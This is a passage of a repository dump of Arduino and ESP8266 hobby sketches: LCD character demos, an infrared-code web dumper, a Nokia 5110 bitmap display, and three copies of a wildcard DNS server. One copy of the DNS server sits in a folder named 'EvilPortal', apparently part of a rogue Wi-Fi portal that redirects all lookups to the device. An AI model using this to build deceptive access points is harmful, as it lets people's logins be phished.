0b01010, 103 | 0b00100, 104 | 0b10101, 105 | 0b01110, 106 | 0b00100, 107 | 0b00100, 108 | 0b01010 109 | }; 110 | 111 | void setup() { 112 | 113 | 114 | // create a new character 115 | lcd.createChar(0, heart); 116 | // create a new character 117 | lcd.createChar(1, smiley); 118 | // create a new character 119 | lcd.createChar(2, frownie); 120 | // create a new character 121 | lcd.createChar(3, armsDown); 122 | // create a new character 123 | lcd.createChar(4, armsUp); 124 | 125 | lcd.createChar(5, heart); 126 | 127 | // initialize LCD and set up the number of columns and rows: 128 | lcd.begin(16, 2); 129 | 130 | // Print a message to the lcd. 131 | lcd.print("I "); 132 | lcd.write(byte(0)); // when calling lcd.write() '0' must be cast as a byte 133 | lcd.print(" Arduino! "); 134 | lcd.write((byte) 1); 135 | delay(3000); 136 | 137 | } 138 | 139 | void loop() { 140 | 141 | // read the potentiometer on A0: 142 | int sensorReading = analogRead(A0); 143 | // map the result to 200 - 1000: 144 | int delayTime = map(sensorReading, 0, 1023, 200, 1000); 145 | lcd.clear(); 146 | //Heart 147 | // set the cursor to the bottom row, 1st position: 148 | lcd.setCursor(x, 0); 149 | //draw heart 150 | lcd.write(byte(0)); 151 | 152 | //smiley 153 | // set the cursor to the bottom row, 2nd position: 154 | lcd.setCursor(1, 1); 155 | //draw smiley 156 | lcd.write(1); 157 | 158 | // set the cursor to the bottom row, 5th position: 159 | lcd.setCursor(4, 1); 160 | // draw the little man, arms down: 161 | lcd.write(3); 162 | delay(delayTime); 163 | lcd.setCursor(4, 1); 164 | // draw him arms up: 165 | lcd.write(4); 166 | delay(delayTime); 167 | 168 | x++; 169 | if(x>16){x=0;}; 170 | } 171 | -------------------------------------------------------------------------------- /ESP8266/EvilPortal/DNSServer.cpp: -------------------------------------------------------------------------------- 1 | #include "./DNSServer.h" 2 | #include 3 | #include 4 | 5 | #define DEBUG 6 | #define DEBUG_OUTPUT Serial 7 | 8 | DNSServer::DNSServer() 9 | { 10 | _ttl = htonl(60); 11 | _errorReplyCode = DNSReplyCode::NonExistentDomain; 12 | } 13 | 14 | bool DNSServer::start(const uint16_t &port, const String &domainName, 15 | const IPAddress &resolvedIP) 16 | { 17 | _port = port; 18 | _domainName = domainName; 19 | _resolvedIP[0] = resolvedIP[0]; 20 | _resolvedIP[1] = resolvedIP[1]; 21 | _resolvedIP[2] = resolvedIP[2]; 22 | _resolvedIP[3] = resolvedIP[3]; 23 | downcaseAndRemoveWwwPrefix(_domainName); 24 | return _udp.begin(_port) == 1; 25 | } 26 | 27 | void DNSServer::setErrorReplyCode(const DNSReplyCode &replyCode) 28 | { 29 | _errorReplyCode = replyCode; 30 | } 31 | 32 | void DNSServer::setTTL(const uint32_t &ttl) 33 | { 34 | _ttl = htonl(ttl); 35 | } 36 | 37 | void DNSServer::stop() 38 | { 39 | _udp.stop(); 40 | } 41 | 42 | void DNSServer::downcaseAndRemoveWwwPrefix(String &domainName) 43 | { 44 | domainName.toLowerCase(); 45 | domainName.replace("www.", ""); 46 | } 47 | 48 | void DNSServer::processNextRequest() 49 | { 50 | _currentPacketSize = _udp.parsePacket(); 51 | if (_currentPacketSize) 52 | { 53 | _buffer = (unsigned char*)malloc(_currentPacketSize * sizeof(char)); 54 | _udp.read(_buffer, _currentPacketSize); 55 | _dnsHeader = (DNSHeader*) _buffer; 56 | 57 | if (_dnsHeader->QR == DNS_QR_QUERY && 58 | _dnsHeader->OPCode == DNS_OPCODE_QUERY && 59 | requestIncludesOnlyOneQuestion() && 60 | (_domainName == "*" || getDomainNameWithoutWwwPrefix() == _domainName) 61 | ) 62 | { 63 | replyWithIP(); 64 | } 65 | else if (_dnsHeader->QR == DNS_QR_QUERY) 66 | { 67 | replyWithCustomCode(); 68 | } 69 | 70 | free(_buffer); 71 | } 72 | } 73 | 74 | bool DNSServer::requestIncludesOnlyOneQuestion() 75 | { 76 | return ntohs(_dnsHeader->QDCount) == 1 && 77 | _dnsHeader->ANCount == 0 && 78 | _dnsHeader->NSCount == 0 && 79 | _dnsHeader->ARCount == 0; 80 | } 81 | 82 | String DNSServer::getDomainNameWithoutWwwPrefix() 83 | { 84 | String parsedDomainName = ""; 85 | unsigned char *start = _buffer + 12; 86 | if (*start == 0) 87 | { 88 | return parsedDomainName; 89 | } 90 | int pos = 0; 91 | while(true) 92 | { 93 | unsigned char labelLength = *(start + pos); 94 | for(int i = 0; i < labelLength; i++) 95 | { 96 | pos++; 97 | parsedDomainName += (char)*(start + pos); 98 | } 99 | pos++; 100 | if (*(start + pos) == 0) 101 | { 102 | downcaseAndRemoveWwwPrefix(parsedDomainName); 103 | return parsedDomainName; 104 | } 105 | else 106 | { 107 | parsedDomainName += "."; 108 | } 109 | } 110 | } 111 | 112 | void DNSServer::replyWithIP() 113 | { 114 | _dnsHeader->QR = DNS_QR_RESPONSE; 115 | _dnsHeader->ANCount = _dnsHeader->QDCount; 116 | _dnsHeader->QDCount = _dnsHeader->QDCount; 117 | //_dnsHeader->RA = 1; 118 | 119 | _udp.beginPacket(_udp.remoteIP(), _udp.remotePort()); 120 | _udp.write(_buffer, _currentPacketSize); 121 | 122 | _udp.write((uint8_t)192); // answer name is a pointer 123 | _udp.write((uint8_t)12); // pointer to offset at 0x00c 124 | 125 | _udp.write((uint8_t)0); // 0x0001 answer is type A query (host address) 126 | _udp.write((uint8_t)1); 127 | 128 | _udp.write((uint8_t)0); //0x0001 answer is class IN (internet address) 129 | _udp.write((uint8_t)1); 130 | 131 | _udp.write((unsigned char*)&_ttl, 4); 132 | 133 | // Length of RData is 4 bytes (because, in this case, RData is IPv4) 134 | _udp.write((uint8_t)0); 135 | _udp.write((uint8_t)4); 136 | _udp.write(_resolvedIP, sizeof(_resolvedIP)); 137 | _udp.endPacket(); 138 | 139 | 140 | 141 | #ifdef DEBUG 142 | DEBUG_OUTPUT.print("DNS responds: "); 143 | DEBUG_OUTPUT.print(_resolvedIP[0]); 144 | DEBUG_OUTPUT.print("."); 145 | DEBUG_OUTPUT.print(_resolvedIP[1]); 146 | DEBUG_OUTPUT.print("."); 147 | DEBUG_OUTPUT.print(_resolvedIP[2]); 148 | DEBUG_OUTPUT.print("."); 149 | DEBUG_OUTPUT.print(_resolvedIP[3]); 150 | DEBUG_OUTPUT.print(" for "); 151 | DEBUG_OUTPUT.println(getDomainNameWithoutWwwPrefix()); 152 | #endif 153 | } 154 | 155 | void DNSServer::replyWithCustomCode() 156 | { 157 | _dnsHeader->QR = DNS_QR_RESPONSE; 158 | _dnsHeader->RCode = (unsigned char)_errorReplyCode; 159 | _dnsHeader->QDCount = 0; 160 | 161 | _udp.beginPacket(_udp.remoteIP(), _udp.remotePort()); 162 | _udp.write(_buffer, sizeof(DNSHeader)); 163 | _udp.endPacket(); 164 | } 165 | 166 | -------------------------------------------------------------------------------- /ESP8266/CaptivePortal/DNSServer.cpp: -------------------------------------------------------------------------------- 1 | #include "./DNSServer.h" 2 | #include 3 | #include 4 | 5 | #define DEBUG 6 | #define DEBUG_OUTPUT Serial 7 | 8 | DNSServer::DNSServer() 9 | { 10 | _ttl = htonl(60); 11 | _errorReplyCode = DNSReplyCode::NonExistentDomain; 12 | } 13 | 14 | bool DNSServer::start(const uint16_t &port, const String &domainName, 15 | const IPAddress &resolvedIP) 16 | { 17 | _port = port; 18 | _domainName = domainName; 19 | _resolvedIP[0] = resolvedIP[0]; 20 | _resolvedIP[1] = resolvedIP[1]; 21 | _resolvedIP[2] = resolvedIP[2]; 22 | _resolvedIP[3] = resolvedIP[3]; 23 | downcaseAndRemoveWwwPrefix(_domainName); 24 | return _udp.begin(_port) == 1; 25 | } 26 | 27 | void DNSServer::setErrorReplyCode(const DNSReplyCode &replyCode) 28 | { 29 | _errorReplyCode = replyCode; 30 | } 31 | 32 | void DNSServer::setTTL(const uint32_t &ttl) 33 | { 34 | _ttl = htonl(ttl); 35 | } 36 | 37 | void DNSServer::stop() 38 | { 39 | _udp.stop(); 40 | } 41 | 42 | void DNSServer::downcaseAndRemoveWwwPrefix(String &domainName) 43 | { 44 | domainName.toLowerCase(); 45 | domainName.replace("www.", ""); 46 | } 47 | 48 | void DNSServer::processNextRequest() 49 | { 50 | _currentPacketSize = _udp.parsePacket(); 51 | if (_currentPacketSize) 52 | { 53 | _buffer = (unsigned char*)malloc(_currentPacketSize * sizeof(char)); 54 | _udp.read(_buffer, _currentPacketSize); 55 | _dnsHeader = (DNSHeader*) _buffer; 56 | 57 | if (_dnsHeader->QR == DNS_QR_QUERY && 58 | _dnsHeader->OPCode == DNS_OPCODE_QUERY && 59 | requestIncludesOnlyOneQuestion() && 60 | (_domainName == "*" || getDomainNameWithoutWwwPrefix() == _domainName) 61 | ) 62 | { 63 | replyWithIP(); 64 | } 65 | else if (_dnsHeader->QR == DNS_QR_QUERY) 66 | { 67 | replyWithCustomCode(); 68 | } 69 | 70 | free(_buffer); 71 | } 72 | } 73 | 74 | bool DNSServer::requestIncludesOnlyOneQuestion() 75 | { 76 | return ntohs(_dnsHeader->QDCount) == 1 && 77 | _dnsHeader->ANCount == 0 && 78 | _dnsHeader->NSCount == 0 && 79 | _dnsHeader->ARCount == 0; 80 | } 81 | 82 | String DNSServer::getDomainNameWithoutWwwPrefix() 83 | { 84 | String parsedDomainName = ""; 85 | unsigned char *start = _buffer + 12; 86 | if (*start == 0) 87 | { 88 | return parsedDomainName; 89 | } 90 | int pos = 0; 91 | while(true) 92 | { 93 | unsigned char labelLength = *(start + pos); 94 | for(int i = 0; i < labelLength; i++) 95 | { 96 | pos++; 97 | parsedDomainName += (char)*(start + pos); 98 | } 99 | pos++; 100 | if (*(start + pos) == 0) 101 | { 102 | downcaseAndRemoveWwwPrefix(parsedDomainName); 103 | return parsedDomainName; 104 | } 105 | else 106 | { 107 | parsedDomainName += "."; 108 | } 109 | } 110 | } 111 | 112 | void DNSServer::replyWithIP() 113 | { 114 | _dnsHeader->QR = DNS_QR_RESPONSE; 115 | _dnsHeader->ANCount = _dnsHeader->QDCount; 116 | _dnsHeader->QDCount = _dnsHeader->QDCount; 117 | //_dnsHeader->RA = 1; 118 | 119 | _udp.beginPacket(_udp.remoteIP(), _udp.remotePort()); 120 | _udp.write(_buffer, _currentPacketSize); 121 | 122 | _udp.write((uint8_t)192); // answer name is a pointer 123 | _udp.write((uint8_t)12); // pointer to offset at 0x00c 124 | 125 | _udp.write((uint8_t)0); // 0x0001 answer is type A query (host address) 126 | _udp.write((uint8_t)1); 127 | 128 | _udp.write((uint8_t)0); //0x0001 answer is class IN (internet address) 129 | _udp.write((uint8_t)1); 130 | 131 | _udp.write((unsigned char*)&_ttl, 4); 132 | 133 | // Length of RData is 4 bytes (because, in this case, RData is IPv4) 134 | _udp.write((uint8_t)0); 135 | _udp.write((uint8_t)4); 136 | _udp.write(_resolvedIP, sizeof(_resolvedIP)); 137 | _udp.endPacket(); 138 | 139 | 140 | 141 | #ifdef DEBUG 142 | DEBUG_OUTPUT.print("DNS responds: "); 143 | DEBUG_OUTPUT.print(_resolvedIP[0]); 144 | DEBUG_OUTPUT.print("."); 145 | DEBUG_OUTPUT.print(_resolvedIP[1]); 146 | DEBUG_OUTPUT.print("."); 147 | DEBUG_OUTPUT.print(_resolvedIP[2]); 148 | DEBUG_OUTPUT.print("."); 149 | DEBUG_OUTPUT.print(_resolvedIP[3]); 150 | DEBUG_OUTPUT.print(" for "); 151 | DEBUG_OUTPUT.println(getDomainNameWithoutWwwPrefix()); 152 | #endif 153 | } 154 | 155 | void DNSServer::replyWithCustomCode() 156 | { 157 | _dnsHeader->QR = DNS_QR_RESPONSE; 158 | _dnsHeader->RCode = (unsigned char)_errorReplyCode; 159 | _dnsHeader->QDCount = 0; 160 | 161 | _udp.beginPacket(_udp.remoteIP(), _udp.remotePort()); 162 | _udp.write(_buffer, sizeof(DNSHeader)); 163 | _udp.endPacket(); 164 | } 165 | 166 | -------------------------------------------------------------------------------- /ESP8266/Displays/Matrix/MatrixPortal/DNSServer.cpp: -------------------------------------------------------------------------------- 1 | #include "./DNSServer.h" 2 | #include 3 | #include 4 | 5 | #define DEBUG 6 | #define DEBUG_OUTPUT Serial 7 | 8 | DNSServer::DNSServer() 9 | { 10 | _ttl = htonl(60); 11 | _errorReplyCode = DNSReplyCode::NonExistentDomain; 12 | } 13 | 14 | bool DNSServer::start(const uint16_t &port, const String &domainName, 15 | const IPAddress &resolvedIP) 16 | { 17 | _port = port; 18 | _domainName = domainName; 19 | _resolvedIP[0] = resolvedIP[0]; 20 | _resolvedIP[1] = resolvedIP[1]; 21 | _resolvedIP[2] = resolvedIP[2]; 22 | _resolvedIP[3] = resolvedIP[3]; 23 | downcaseAndRemoveWwwPrefix(_domainName); 24 | return _udp.begin(_port) == 1; 25 | } 26 | 27 | void DNSServer::setErrorReplyCode(const DNSReplyCode &replyCode) 28 | { 29 | _errorReplyCode = replyCode; 30 | } 31 | 32 | void DNSServer::setTTL(const uint32_t &ttl) 33 | { 34 | _ttl = htonl(ttl); 35 | } 36 | 37 | void DNSServer::stop() 38 | { 39 | _udp.stop(); 40 | } 41 | 42 | void DNSServer::downcaseAndRemoveWwwPrefix(String &domainName) 43 | { 44 | domainName.toLowerCase(); 45 | domainName.replace("www.", ""); 46 | } 47 | 48 | void DNSServer::processNextRequest() 49 | { 50 | _currentPacketSize = _udp.parsePacket(); 51 | if (_currentPacketSize) 52 | { 53 | _buffer = (unsigned char*)malloc(_currentPacketSize * sizeof(char)); 54 | _udp.read(_buffer, _currentPacketSize); 55 | _dnsHeader = (DNSHeader*) _buffer; 56 | 57 | if (_dnsHeader->QR == DNS_QR_QUERY && 58 | _dnsHeader->OPCode == DNS_OPCODE_QUERY && 59 | requestIncludesOnlyOneQuestion() && 60 | (_domainName == "*" || getDomainNameWithoutWwwPrefix() == _domainName) 61 | ) 62 | { 63 | replyWithIP(); 64 | } 65 | else if (_dnsHeader->QR == DNS_QR_QUERY) 66 | { 67 | replyWithCustomCode(); 68 | } 69 | 70 | free(_buffer); 71 | } 72 | } 73 | 74 | bool DNSServer::requestIncludesOnlyOneQuestion() 75 | { 76 | return ntohs(_dnsHeader->QDCount) == 1 && 77 | _dnsHeader->ANCount == 0 && 78 | _dnsHeader->NSCount == 0 && 79 | _dnsHeader->ARCount == 0; 80 | } 81 | 82 | String DNSServer::getDomainNameWithoutWwwPrefix() 83 | { 84 | String parsedDomainName = ""; 85 | unsigned char *start = _buffer + 12; 86 | if (*start == 0) 87 | { 88 | return parsedDomainName; 89 | } 90 | int pos = 0; 91 | while(true) 92 | { 93 | unsigned char labelLength = *(start + pos); 94 | for(int i = 0; i < labelLength; i++) 95 | { 96 | pos++; 97 | parsedDomainName += (char)*(start + pos); 98 | } 99 | pos++; 100 | if (*(start + pos) == 0) 101 | { 102 | downcaseAndRemoveWwwPrefix(parsedDomainName); 103 | return parsedDomainName; 104 | } 105 | else 106 | { 107 | parsedDomainName += "."; 108 | } 109 | } 110 | } 111 | 112 | void DNSServer::replyWithIP() 113 | { 114 | _dnsHeader->QR = DNS_QR_RESPONSE; 115 | _dnsHeader->ANCount = _dnsHeader->QDCount; 116 | _dnsHeader->QDCount = _dnsHeader->QDCount; 117 | //_dnsHeader->RA = 1; 118 | 119 | _udp.beginPacket(_udp.remoteIP(), _udp.remotePort()); 120 | _udp.write(_buffer, _currentPacketSize); 121 | 122 | _udp.write((uint8_t)192); // answer name is a pointer 123 | _udp.write((uint8_t)12); // pointer to offset at 0x00c 124 | 125 | _udp.write((uint8_t)0); // 0x0001 answer is type A query (host address) 126 | _udp.write((uint8_t)1); 127 | 128 | _udp.write((uint8_t)0); //0x0001 answer is class IN (internet address) 129 | _udp.write((uint8_t)1); 130 | 131 | _udp.write((unsigned char*)&_ttl, 4); 132 | 133 | // Length of RData is 4 bytes (because, in this case, RData is IPv4) 134 | _udp.write((uint8_t)0); 135 | _udp.write((uint8_t)4); 136 | _udp.write(_resolvedIP, sizeof(_resolvedIP)); 137 | _udp.endPacket(); 138 | 139 | 140 | 141 | #ifdef DEBUG 142 | DEBUG_OUTPUT.print("DNS responds: "); 143 | DEBUG_OUTPUT.print(_resolvedIP[0]); 144 | DEBUG_OUTPUT.print("."); 145 | DEBUG_OUTPUT.print(_resolvedIP[1]); 146 | DEBUG_OUTPUT.print("."); 147 | DEBUG_OUTPUT.print(_resolvedIP[2]); 148 | DEBUG_OUTPUT.print("."); 149 | DEBUG_OUTPUT.print(_resolvedIP[3]); 150 | DEBUG_OUTPUT.print(" for "); 151 | DEBUG_OUTPUT.println(getDomainNameWithoutWwwPrefix()); 152 | #endif 153 | } 154 | 155 | void DNSServer::replyWithCustomCode() 156 | { 157 | _dnsHeader->QR = DNS_QR_RESPONSE; 158 | _dnsHeader->RCode = (unsigned char)_errorReplyCode; 159 | _dnsHeader->QDCount = 0; 160 | 161 | _udp.beginPacket(_udp.remoteIP(), _udp.remotePort()); 162 | _udp.write(_buffer, sizeof(DNSHeader)); 163 | _udp.endPacket(); 164 | } 165 | 166 | -------------------------------------------------------------------------------- /ESP8266/IR/IRrecvWebDump/IRrecvWebDump.ino: -------------------------------------------------------------------------------- 1 | /* 2 | * IRremoteESP8266: IRrecvDump - dump details of IR codes with IRrecv 3 | * An IR detector/demodulator must be connected to the input RECV_PIN. 4 | * Version 0.1 Sept, 2015 5 | * Based on Ken Shirriff's IrsendDemo Version 0.1 July, 2009, Copyright 2009 Ken Shirriff, http://arcfn.com 6 | * JVC and Panasonic protocol added by Kristian Lauszus (Thanks to zenwheel and other people at the original blog post) 7 | * LG added by Darryl Smith (based on the JVC protocol) 8 | */ 9 | 10 | #include 11 | #include 12 | #include 13 | #include 14 | 15 | const char* ssid = "....."; 16 | const char* password = "....."; 17 | 18 | String data = ""; 19 | 20 | ESP8266WebServer server(80); 21 | 22 | #include 23 | 24 | int RECV_PIN = 2; //an IR detector/demodulatord is connected to GPIO pin 2 25 | 26 | IRrecv irrecv(RECV_PIN); 27 | 28 | decode_results results; 29 | 30 | 31 | void handleRoot() { 32 | server.send(200, "text/html", String(data)); 33 | } 34 | 35 | 36 | void handleNotFound(){ 37 | String message = "File Not Found\n\n"; 38 | message += "URI: "; 39 | message += server.uri(); 40 | message += "\nMethod: "; 41 | message += (server.method() == HTTP_GET)?"GET":"POST"; 42 | message += "\nArguments: "; 43 | message += server.args(); 44 | message += "\n"; 45 | for (uint8_t i=0; irawlen; 91 | if (results->decode_type == UNKNOWN) { 92 | Serial.print("Unknown encoding: "); 93 | } 94 | else if (results->decode_type == NEC) { 95 | Serial.print("Decoded NEC: "); 96 | 97 | } 98 | else if (results->decode_type == SONY) { 99 | Serial.print("Decoded SONY: "); 100 | } 101 | else if (results->decode_type == RC5) { 102 | Serial.print("Decoded RC5: "); 103 | } 104 | else if (results->decode_type == RC6) { 105 | Serial.print("Decoded RC6: "); 106 | } 107 | else if (results->decode_type == PANASONIC) { 108 | Serial.print("Decoded PANASONIC - Address: "); 109 | Serial.print(results->panasonicAddress, HEX); 110 | Serial.print(" Value: "); 111 | } 112 | else if (results->decode_type == LG) { 113 | Serial.print("Decoded LG: "); 114 | } 115 | else if (results->decode_type == JVC) { 116 | Serial.print("Decoded JVC: "); 117 | } 118 | else if (results->decode_type == AIWA_RC_T501) { 119 | Serial.print("Decoded AIWA RC T501: "); 120 | } 121 | else if (results->decode_type == WHYNTER) { 122 | Serial.print("Decoded Whynter: "); 123 | } 124 | Serial.print(results->value, HEX); 125 | Serial.print(" ("); 126 | Serial.print(results->bits, DEC); 127 | Serial.println(" bits)"); 128 | Serial.print("Raw ("); 129 | Serial.print(count, DEC); 130 | Serial.print("): "); 131 | 132 | //data += String(results->decode_type); 133 | data += "Hex: "; 134 | data += String(results->value, HEX); 135 | data += " - "; 136 | data += String(results->bits, DEC); 137 | data += "Bits
"; 138 | 139 | 140 | for (int i = 1; i < count; i++) { 141 | if (i & 1) { 142 | Serial.print(results->rawbuf[i]*USECPERTICK, DEC); 143 | } 144 | else { 145 | Serial.write('-'); 146 | Serial.print((unsigned long) results->rawbuf[i]*USECPERTICK, DEC); 147 | } 148 | Serial.print(" "); 149 | } 150 | Serial.println(); 151 | } 152 | 153 | void loop() { 154 | server.handleClient(); 155 | if (irrecv.decode(&results)) { 156 | Serial.println(results.value, HEX); 157 | dump(&results); 158 | 159 | irrecv.resume(); // Receive the next value 160 | } 161 | } 162 | -------------------------------------------------------------------------------- /Arduino/Displays/Nokia5110/ImgTux/ImgTux.ino: -------------------------------------------------------------------------------- 1 | // Define digital pins 2 | 3 | #define PIN_SCE 7 4 | #define PIN_RESET 6 5 | #define PIN_DC 5 6 | #define PIN_SDIN 4 7 | #define PIN_SCLK 3 8 | 9 | #define LCD_C LOW 10 | #define LCD_D HIGH 11 | 12 | // Bounds of the display 13 | 14 | #define LCD_X 84 15 | #define LCD_Y 48 16 | 17 | // Bitmap definition 18 | 19 | char tux[] = { 20 | 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 21 | 0x00, 0x00,0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 22 | 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 23 | 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xC0, 0xE0, 24 | 0xF0, 0xF0, 0xF0, 0xF0, 0xF0, 0xF0, 0xE0, 0xE0, 25 | 0xC0, 0x80, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 26 | 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 27 | 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 28 | 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 29 | 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 30 | 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 31 | 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 32 | 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 33 | 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 34 | 0x00, 0x00, 0xFF, 0xB1, 0x5D, 0x89, 0x8F, 0x89, 35 | 0x5D, 0x11, 0x3F, 0xFF, 0xFF, 0xFF, 0xF8, 0x00, 36 | 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 37 | 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 38 | 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 39 | 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 40 | 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 41 | 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 42 | 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 43 | 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 44 | 0x00, 0x00, 0xE0, 0xF0, 0x78, 0x3E, 0x03, 0x01, 45 | 0x01, 0x02, 0x02, 0x02, 0x02, 0x02, 0x01, 0x01, 46 | 0x03, 0x1F, 0x7F, 0xFF, 0xFE, 0xF8, 0xF0, 0xC0, 47 | 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 48 | 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 49 | 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 50 | 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 51 | 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 52 | 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 53 | 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 54 | 0x00, 0x00, 0x00, 0xC0, 0x3C, 0x3F, 0x7F, 0xC3, 55 | 0x80, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 56 | 0x00, 0x00, 0x00, 0x00, 0x00, 0x80, 0x40, 0x7F, 57 | 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0x80, 0x00, 0x00, 58 | 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 59 | 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 60 | 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 61 | 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 62 | 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 63 | 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 64 | 0x00, 0x00, 0x00, 0x26, 0x59, 0x41, 0x41, 0x80, 65 | 0x80, 0x80, 0x80, 0x00, 0x03, 0x07, 0x9E, 0xE4, 66 | 0xE0, 0xE0, 0x60, 0x60, 0x60, 0x60, 0x60, 0x70, 67 | 0x78, 0x7B, 0xFC, 0x00, 0x00, 0x01, 0x01, 0x01, 68 | 0x80, 0x47, 0x48, 0x28, 0x10, 0x00, 0x00, 0x00, 69 | 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 70 | 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 71 | 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 72 | 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 73 | 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 74 | 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 75 | 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x01, 76 | 0x01, 0x01, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 77 | 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x01, 78 | 0x01, 0x01, 0x01, 0x01, 0x00, 0x00, 0x00, 0x00, 79 | 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 80 | 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 81 | 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 82 | 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, }; 83 | 84 | // LCD Procedures 85 | 86 | void LcdClear(void) 87 | { 88 | for (int index = 0; index < LCD_X * LCD_Y / 8; index++) 89 | { 90 | LcdWrite(LCD_D, 0x00); 91 | } 92 | } 93 | 94 | void LcdInitialise(void) 95 | { 96 | pinMode(PIN_SCE, OUTPUT); 97 | pinMode(PIN_RESET, OUTPUT); 98 | pinMode(PIN_DC, OUTPUT); 99 | pinMode(PIN_SDIN, OUTPUT); 100 | pinMode(PIN_SCLK, OUTPUT); 101 | digitalWrite(PIN_RESET, LOW); 102 | digitalWrite(PIN_RESET, HIGH); 103 | LcdWrite(LCD_C, 0x21 ); // LCD Extended Commands. 104 | LcdWrite(LCD_C, 0xB1 ); // Set LCD Vop (Contrast). 105 | LcdWrite(LCD_C, 0x04 ); // Set Temp coefficent. //0x04 106 | LcdWrite(LCD_C, 0x14 ); // LCD bias mode 1:48. //0x13 107 | LcdWrite(LCD_C, 0x0C ); // LCD in normal mode. 108 | LcdWrite(LCD_C, 0x20 ); 109 | LcdWrite(LCD_C, 0x0C ); 110 | } 111 | 112 | void gotoXY(int x, int y) 113 | { 114 | LcdWrite( 0, 0x80 | x); // Column. 115 | LcdWrite( 0, 0x40 | y); // Row. 116 | 117 | } 118 | void LcdWrite(byte dc, byte data) 119 | { 120 | digitalWrite(PIN_DC, dc); 121 | digitalWrite(PIN_SCE, LOW); 122 | shiftOut(PIN_SDIN, PIN_SCLK, MSBFIRST, data); 123 | digitalWrite(PIN_SCE, HIGH); 124 | } 125 | 126 | void LcdBitmap(char my_array[]){ 127 | for (int index = 0 ; index < (LCD_X * LCD_Y / 8) ; index++) 128 | LcdWrite(LCD_D, my_array[index]); 129 | } 130 | 131 | void setup(void) 132 | { 133 | LcdInitialise(); 134 | LcdClear(); 135 | gotoXY(0,0); 136 | } 137 | 138 | void loop(void) 139 | { 140 | LcdBitmap(tux); 141 | while (true) 142 | { 143 | } 144 | } 145 | -------------------------------------------------------------------------------- /ESP8266/Displays/Nokia5110/ImgTux/ImgTux.ino: -------------------------------------------------------------------------------- 1 | // Define digital pins 2 | 3 | #define PIN_SCE 2 //D4 4 | #define PIN_RESET 14 //D5 5 | #define PIN_DC 12 //D6 6 | #define PIN_SDIN 13 //D7 7 | #define PIN_SCLK 15 //D8 8 | 9 | #define LCD_C LOW 10 | #define LCD_D HIGH 11 | 12 | // Bounds of the display 13 | 14 | #define LCD_X 84 15 | #define LCD_Y 48 16 | 17 | // Bitmap definition 18 | 19 | char tux[] = { 20 | 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 21 | 0x00, 0x00,0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 22 | 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 23 | 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xC0, 0xE0, 24 | 0xF0, 0xF0, 0xF0, 0xF0, 0xF0, 0xF0, 0xE0, 0xE0, 25 | 0xC0, 0x80, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 26 | 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 27 | 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 28 | 0x00, 0x00, 0x00, 0x00, 0x00, 